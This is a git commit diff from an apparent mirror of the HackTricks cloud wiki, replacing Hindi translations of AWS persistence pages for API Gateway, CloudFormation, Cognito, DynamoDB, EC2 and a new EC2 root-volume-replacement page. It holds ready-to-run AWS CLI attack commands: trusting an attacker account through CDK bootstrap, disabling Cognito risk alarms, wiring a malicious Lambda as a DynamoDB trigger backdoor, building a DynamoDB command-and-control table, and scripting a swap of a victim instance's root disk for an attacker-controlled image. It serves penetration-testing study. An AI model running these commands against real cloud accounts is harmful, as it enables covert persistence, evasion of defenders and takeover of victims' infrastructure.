mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-27 07:14:20 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
Translator
@@ -1,32 +0,0 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
अधिक जानकारी के लिए जाएं:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
API गेटवे(s) की संसाधन नीति को संशोधित करें ताकि आप उन्हें एक्सेस कर सकें
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
लैम्ब्डा ऑथराइज़र्स के कोड को संशोधित करें ताकि आप सभी एंडपॉइंट्स तक पहुंच प्राप्त कर सकें।\
|
||||
या बस ऑथराइज़र के उपयोग को हटा दें।
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
यदि कोई संसाधन IAM ऑथराइज़र का उपयोग कर रहा है, तो आप IAM अनुमतियों को संशोधित करके खुद को एक्सेस दे सकते हैं।\
|
||||
या बस ऑथराइज़र के उपयोग को हटा दें।
|
||||
|
||||
### API Keys
|
||||
|
||||
यदि API कुंजी का उपयोग किया जाता है, तो आप उन्हें लीक कर सकते हैं ताकि स्थिरता बनाए रख सकें या यहां तक कि नई कुंजी बना सकें।\
|
||||
या बस API कुंजी के उपयोग को हटा दें।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,32 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
API gateway(s) की resource policy को संशोधित करके अपने लिए उन तक पहुँच प्रदान करें
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Lambda authorizers के कोड को संशोधित करें ताकि आप सभी endpoints तक पहुँच प्राप्त कर सकें।\
|
||||
या बस authorizer के उपयोग को हटा दें।
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
यदि कोई resource IAM authorizer का उपयोग कर रहा है, तो आप IAM permissions संशोधित करके अपने लिए उस तक पहुँच दे सकते हैं।\
|
||||
या बस authorizer के उपयोग को हटा दें।
|
||||
|
||||
### API Keys
|
||||
|
||||
यदि API keys का उपयोग हो रहा है, तो आप उन्हें leak करके persistence बनाए रख सकते हैं या नए keys बना सकते हैं।\
|
||||
या बस API keys के उपयोग को हटा दें।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,23 +0,0 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
अधिक जानकारी के लिए, पहुँचें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
AWS CDK एक CFN स्टैक को `CDKToolkit` के रूप में तैनात करता है। यह स्टैक एक पैरामीटर `TrustedAccounts` का समर्थन करता है जो बाहरी खातों को पीड़ित खाते में CDK परियोजनाओं को तैनात करने की अनुमति देता है। एक हमलावर इसका दुरुपयोग करके पीड़ित खाते में अनिश्चितकालीन पहुँच प्राप्त कर सकता है, या तो पैरामीटर के साथ स्टैक को फिर से तैनात करने के लिए AWS cli का उपयोग करके, या AWS CDK cli का उपयोग करके।
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
AWS CDK `CDKToolkit` नामक एक CFN stack को डिप्लॉय करता है। यह stack `TrustedAccounts` नामक एक parameter को सपोर्ट करता है, जो बाहरी accounts को victim account में CDK projects deploy करने की अनुमति देता है। एक हमलावर इसका दुरुपयोग करके स्वयं को victim account तक अनिश्चितकालीन पहुँच दे सकता है, या तो AWS cli का उपयोग करके parameters के साथ stack को पुनः डिप्लॉय करके, या AWS CDK cli का उपयोग करके।
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,40 +0,0 @@
|
||||
# AWS - Cognito Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
अधिक जानकारी के लिए, पहुँचें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### User persistence
|
||||
|
||||
Cognito एक सेवा है जो अनधिकृत और अधिकृत उपयोगकर्ताओं को भूमिकाएँ देने और उपयोगकर्ताओं के एक निर्देशिका को नियंत्रित करने की अनुमति देती है। कुछ स्थिरता बनाए रखने के लिए कई विभिन्न कॉन्फ़िगरेशन को बदला जा सकता है, जैसे:
|
||||
|
||||
- **एक User Pool जोड़ना** जिसे एक Identity Pool में उपयोगकर्ता द्वारा नियंत्रित किया जाता है
|
||||
- एक **IAM भूमिका देना** एक अनधिकृत Identity Pool को और Basic auth flow की अनुमति देना
|
||||
- या एक **अधिकृत Identity Pool** को यदि हमलावर लॉगिन कर सकता है
|
||||
- या दिए गए भूमिकाओं के **अनुमतियों में सुधार करना**
|
||||
- **Attributes नियंत्रित उपयोगकर्ताओं या नए उपयोगकर्ताओं के माध्यम से Create, verify & privesc** एक **User Pool** में
|
||||
- **बाहरी Identity Providers को** एक User Pool या एक Identity Pool में लॉगिन करने की अनुमति देना
|
||||
|
||||
इन क्रियाओं को कैसे करना है, यह देखें
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
इस विशेषता के साथ एक हमलावर जोखिम कॉन्फ़िगरेशन को संशोधित कर सकता है ताकि वह एक Cognito उपयोगकर्ता के रूप में लॉगिन कर सके **बिना अलार्म ट्रिगर किए**। [**CLI की जांच करें**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) सभी विकल्पों की जांच करने के लिए:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
डिफ़ॉल्ट रूप से यह अक्षम है:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,40 @@
|
||||
# AWS - Cognito स्थायित्व
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### उपयोगकर्ता स्थायित्व
|
||||
|
||||
Cognito एक सेवा है जो अनप्रमाणित और प्रमाणित उपयोगकर्ताओं को roles देने तथा उपयोगकर्ताओं की directory को नियंत्रित करने की अनुमति देती है। कुछ अलग-अलग configurations को बदला जा सकता है ताकि कुछ स्थायित्व बनाए रखा जा सके, जैसे:
|
||||
|
||||
- **Adding a User Pool** जो उपयोगकर्ता द्वारा नियंत्रित हो, उसे एक Identity Pool में जोड़ना
|
||||
- एक **IAM role** को unauthenticated Identity Pool को देना और Basic auth flow की अनुमति देना
|
||||
- या एक **authenticated Identity Pool** को अगर हमलावर login कर सके
|
||||
- या दिए गए roles के permissions में सुधार करना (**improve the permissions**)
|
||||
- **Create, verify & privesc** attributes नियंत्रित users या **User Pool** में नए users के माध्यम से
|
||||
- **Allowing external Identity Providers** को User Pool या Identity Pool में login करने की अनुमति देना
|
||||
|
||||
इन क्रियाओं को कैसे करना है देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-cognito-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
इस privilege वाला हमलावर risk configuration को बदल सकता है ताकि वह Cognito user के रूप में login कर सके **बिना alarms trigger हुए**। [**cli देखें**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) सभी विकल्पों की जाँच करने के लिए:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
डिफ़ॉल्ट रूप से यह अक्षम है:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,59 +0,0 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
अधिक जानकारी के लिए पहुँचें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB ट्रिगर्स के साथ Lambda बैकडोर
|
||||
|
||||
DynamoDB ट्रिगर्स का उपयोग करके, एक हमलावर एक **गुप्त बैकडोर** बना सकता है, एक तालिका के साथ एक दुर्भावनापूर्ण Lambda फ़ंक्शन को जोड़कर। Lambda फ़ंक्शन तब सक्रिय हो सकता है जब एक आइटम जोड़ा, संशोधित या हटाया जाता है, जिससे हमलावर को AWS खाते के भीतर मनचाहा कोड निष्पादित करने की अनुमति मिलती है।
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
धारण बनाए रखने के लिए, हमलावर DynamoDB तालिका में आइटम बना या संशोधित कर सकता है, जो दुर्भावनापूर्ण Lambda फ़ंक्शन को ट्रिगर करेगा। इससे हमलावर को Lambda फ़ंक्शन के साथ सीधे इंटरैक्शन के बिना AWS खाते के भीतर कोड निष्पादित करने की अनुमति मिलती है।
|
||||
|
||||
### DynamoDB को C2 चैनल के रूप में
|
||||
|
||||
एक हमलावर DynamoDB तालिका का **कमांड और नियंत्रण (C2) चैनल** के रूप में उपयोग कर सकता है, आइटम बनाकर जिनमें कमांड होते हैं और समझौता किए गए उदाहरणों या Lambda फ़ंक्शंस का उपयोग करके इन कमांड को लाने और निष्पादित करने के लिए।
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
समझौता किए गए उदाहरण या Lambda फ़ंक्शन समय-समय पर C2 तालिका में नए आदेशों की जांच कर सकते हैं, उन्हें निष्पादित कर सकते हैं, और वैकल्पिक रूप से परिणामों को तालिका में वापस रिपोर्ट कर सकते हैं। यह हमलावर को समझौता किए गए संसाधनों पर स्थायीता और नियंत्रण बनाए रखने की अनुमति देता है।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,59 @@
|
||||
# AWS - DynamoDB स्थायी पहुँच
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB ट्रिगर्स के साथ Lambda Backdoor
|
||||
|
||||
DynamoDB ट्रिगर्स का उपयोग करके, एक हमलावर किसी टेबल के साथ एक दुर्भावनापूर्ण Lambda function जोड़कर एक **गुप्त backdoor** बना सकता है। Lambda function तब ट्रिगर हो सकता है जब कोई item जोड़ा, संशोधित, या हटाया जाता है, जिससे हमलावर को AWS खाते के भीतर मनमाना कोड निष्पादित करने की अनुमति मिलती है।
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
स्थिरता बनाए रखने के लिए, हमलावर DynamoDB table में items बना या संशोधित कर सकता है, जो malicious Lambda function को trigger करेगा। यह हमलावर को Lambda function के साथ सीधे इंटरैक्शन किए बिना AWS account के भीतर code execute करने की अनुमति देता है।
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
|
||||
हमलावर DynamoDB table का उपयोग एक **command and control (C2) channel** के रूप में कर सकता है, items बनाकर जिनमें commands शामिल हों और compromised instances या Lambda functions का उपयोग कर इन commands को fetch और execute करवाया जा सके।
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Compromised instances या Lambda functions समय-समय पर C2 table में नए commands के लिए चेक कर सकते हैं, उन्हें execute कर सकते हैं, और वैकल्पिक रूप से परिणामों को वापस table में report कर सकते हैं। इससे attacker को compromised resources पर persistence और control बनाए रखने की अनुमति मिलती है।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,54 +0,0 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### सुरक्षा समूह कनेक्शन ट्रैकिंग स्थिरता
|
||||
|
||||
यदि एक रक्षक पाता है कि एक **EC2 उदाहरण से समझौता किया गया था**, तो वह शायद **नेटवर्क** को **आइसोलेट** करने की कोशिश करेगा। वह एक स्पष्ट **Deny NACL** के साथ ऐसा कर सकता है (लेकिन NACLs पूरे सबनेट को प्रभावित करते हैं), या **सुरक्षा समूह को बदलकर** **किसी भी प्रकार के इनबाउंड या आउटबाउंड** ट्रैफ़िक की अनुमति नहीं देता।
|
||||
|
||||
यदि हमलावर के पास **मशीन से उत्पन्न एक रिवर्स शेल** है, तो भले ही SG को इनबाउंड या आउटबाउंड ट्रैफ़िक की अनुमति नहीं देने के लिए संशोधित किया गया हो, **कनेक्शन को समाप्त नहीं किया जाएगा** [**सुरक्षा समूह कनेक्शन ट्रैकिंग**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** के कारण।**
|
||||
|
||||
### EC2 जीवनचक्र प्रबंधक
|
||||
|
||||
यह सेवा **AMIs और स्नैपशॉट्स** के **निर्माण को शेड्यूल** करने की अनुमति देती है और यहां तक कि **उन्हें अन्य खातों के साथ साझा** भी कर सकती है।\
|
||||
एक हमलावर **हर सप्ताह** सभी छवियों या सभी वॉल्यूम के **AMIs या स्नैपशॉट्स** के **उत्पादन को कॉन्फ़िगर** कर सकता है और **उन्हें अपने खाते के साथ साझा** कर सकता है।
|
||||
|
||||
### अनुसूचित उदाहरण
|
||||
|
||||
यह संभव है कि उदाहरणों को दैनिक, साप्ताहिक या यहां तक कि मासिक रूप से चलाने के लिए शेड्यूल किया जाए। एक हमलावर एक मशीन चला सकता है जिसमें उच्च विशेषाधिकार या दिलचस्प पहुंच हो जहां वह पहुंच सकता है।
|
||||
|
||||
### स्पॉट फ़्लीट अनुरोध
|
||||
|
||||
स्पॉट उदाहरण **सामान्य उदाहरणों** की तुलना में **सस्ते** होते हैं। एक हमलावर **5 वर्ष** के लिए एक **छोटी स्पॉट फ़्लीट अनुरोध** लॉन्च कर सकता है (उदाहरण के लिए), **स्वचालित IP** असाइनमेंट के साथ और एक **उपयोगकर्ता डेटा** जो हमलावर को **जब स्पॉट उदाहरण शुरू होता है** और **IP पता** भेजता है और एक **उच्च विशेषाधिकार IAM भूमिका** के साथ।
|
||||
|
||||
### बैकडोर उदाहरण
|
||||
|
||||
एक हमलावर उदाहरणों तक पहुंच प्राप्त कर सकता है और उन्हें बैकडोर कर सकता है:
|
||||
|
||||
- उदाहरण के लिए एक पारंपरिक **रूटकिट** का उपयोग करना
|
||||
- एक नया **सार्वजनिक SSH कुंजी** जोड़ना (देखें [EC2 प्रिवेस्क विकल्प](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- **उपयोगकर्ता डेटा** को बैकडोर करना
|
||||
|
||||
### **बैकडोर लॉन्च कॉन्फ़िगरेशन**
|
||||
|
||||
- उपयोग किए गए AMI को बैकडोर करें
|
||||
- उपयोगकर्ता डेटा को बैकडोर करें
|
||||
- की जोड़ी को बैकडोर करें
|
||||
|
||||
### VPN
|
||||
|
||||
एक VPN बनाएं ताकि हमलावर सीधे इसके माध्यम से VPC से कनेक्ट कर सके।
|
||||
|
||||
### VPC पीयरिंग
|
||||
|
||||
पीड़ित VPC और हमलावर VPC के बीच एक पीयरिंग कनेक्शन बनाएं ताकि वह पीड़ित VPC तक पहुंच सके।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,62 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
यदि किसी defender को पता चले कि एक **EC2 instance compromised था**, तो वह संभवतः उस मशीन के **नेटवर्क** को अलग करने की कोशिश करेगा। वह यह एक स्पष्ट **Deny NACL** के साथ कर सकता है (लेकिन NACLs पूरे subnet को प्रभावित करते हैं), या **security group बदलकर** किसी भी तरह के **इनबाउंड या आउटबाउंड** ट्रैफिक की अनुमति न देने जैसा कर सकता है।
|
||||
|
||||
यदि attacker के पास मशीन से उत्पन्न एक **reverse shell originated from the machine** था, तो भले ही SG को इस तरह से संशोधित किया जाए कि inbound या outbound ट्रैफिक की अनुमति न हो, कनेक्शन [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html) के कारण खत्म नहीं होगा।**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
यह service AMIs और snapshots के निर्माण को **schedule** करने और यहां तक कि उन्हें **other accounts के साथ share** करने की अनुमति देती है।\
|
||||
एक हमलावर सभी images या सभी volumes के AMIs या snapshots का निर्माण **हर week** करने के लिए configure कर सकता है और उन्हें अपने खाते के साथ **share** कर सकता है।
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
Instances को daily, weekly या monthly चलाने के लिए schedule किया जा सकता है। एक हमलावर ऐसी मशीन चला सकता है जिसमें उसे high privileges या रुचिकर access मिलता हो, जिसे वह बाद में उपयोग कर सके।
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances सामान्य instances की तुलना में **cheaper** होते हैं। एक हमलावर उदाहरण के लिए **5 year** के लिए एक छोटा **spot fleet request** लॉन्च कर सकता है, जिसमें **automatic IP** असाइनमेंट और ऐसा **user data** होगा जो attacker को **जब spot instance start** हो तो IP address भेज दे और जिसमें एक **high privileged IAM role** जुड़ा हो।
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
एक हमलावर instances तक पहुंच हासिल कर उन्हें backdoor कर सकता है:
|
||||
|
||||
- उदाहरण के लिए परंपरागत **rootkit** का उपयोग करके
|
||||
- एक नया **public SSH key** जोड़कर (देखें [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
|
||||
- **User Data** को backdoor करके
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor करें उपयोग की गई AMI में
|
||||
- Backdoor करें User Data में
|
||||
- Backdoor करें Key Pair में
|
||||
|
||||
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
|
||||
|
||||
चल रही instance के root EBS volume को attacker-नियंत्रित AMI या snapshot से बने एक volume के साथ `CreateReplaceRootVolumeTask` का उपयोग करके बदल दें। instance अपने ENIs, IPs, और role को बनाए रखता है, और प्रभावी रूप से malicious code में boot कर जाता है जबकि दिखने में अपरिवर्तित रहता है।
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-replace-root-volume-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
### VPN
|
||||
|
||||
एक VPN बनाएं ताकि attacker सीधे VPC से कनेक्ट कर सके।
|
||||
|
||||
### VPC Peering
|
||||
|
||||
victim VPC और attacker VPC के बीच peering connection बनाएं ताकि वह victim VPC तक पहुँच सके।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse **ec2:CreateReplaceRootVolumeTask** का दुरुपयोग करें ताकि चल रहे instance के root EBS वॉल्यूम को attacker-controlled AMI या snapshot से restore किए गए वॉल्यूम से बदला जा सके। Instance अपने आप reboot हो जाता है और attacker-controlled root filesystem के साथ resume करता है जबकि ENIs, private/public IPs, attached non-root volumes, और instance metadata/IAM role को संरक्षित रखा जाता है।
|
||||
|
||||
## आवश्यकताएँ
|
||||
- लक्षित instance EBS-backed है और उसी region में चल रहा होना चाहिए।
|
||||
- Compatible AMI या snapshot: target instance के समान architecture/virtualization/boot mode (और product codes, अगर हों) होना चाहिए।
|
||||
|
||||
## पूर्व-जाँच
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<victim instance>
|
||||
|
||||
# Ensure EBS-backed
|
||||
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
|
||||
|
||||
# Capture current network and root volume
|
||||
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
|
||||
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
|
||||
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
|
||||
```
|
||||
## AMI से root को बदलें (अनुशंसित)
|
||||
```bash
|
||||
IMAGE_ID=<attacker-controlled compatible AMI>
|
||||
|
||||
# Start task
|
||||
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
|
||||
|
||||
# Poll until state == succeeded
|
||||
while true; do
|
||||
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
|
||||
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
|
||||
done
|
||||
```
|
||||
स्नैपशॉट का वैकल्पिक तरीका:
|
||||
```bash
|
||||
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
|
||||
```
|
||||
## सबूत / सत्यापन
|
||||
```bash
|
||||
# Instance auto-reboots; network identity is preserved
|
||||
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
|
||||
# Compare before vs after
|
||||
printf "ENI:%s IP:%s
|
||||
ORIG_VOL:%s
|
||||
NEW_VOL:%s
|
||||
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
|
||||
|
||||
# (Optional) Inspect task details and console output
|
||||
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
|
||||
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
|
||||
```
|
||||
अपेक्षित: ENI_ID और PRI_IP समान रहते हैं; रूट वॉल्यूम ID $ORIG_VOL से बदलकर $NEW_VOL हो जाता है। सिस्टम हमलावर द्वारा नियंत्रित AMI/snapshot से फ़ाइलसिस्टम के साथ बूट होता है।
|
||||
|
||||
## नोट्स
|
||||
- API के लिए आपको instance को मैन्युअली रोकने की जरूरत नहीं है; EC2 रीबूट कराता है।
|
||||
- डिफ़ॉल्ट रूप से, बदला गया (पुराना) root EBS volume detach करके खाते में छोड़ दिया जाता है (DeleteReplacedRootVolume=false)। इसे रोलबैक के लिए उपयोग किया जा सकता है या लागत से बचने के लिए इसे हटाया जाना चाहिए।
|
||||
|
||||
## रोलबैक / क्लीनअप
|
||||
```bash
|
||||
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
|
||||
# you can create a snapshot and replace again from it:
|
||||
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
|
||||
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
|
||||
|
||||
# Or simply delete the detached old root volume if not needed:
|
||||
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,91 +0,0 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
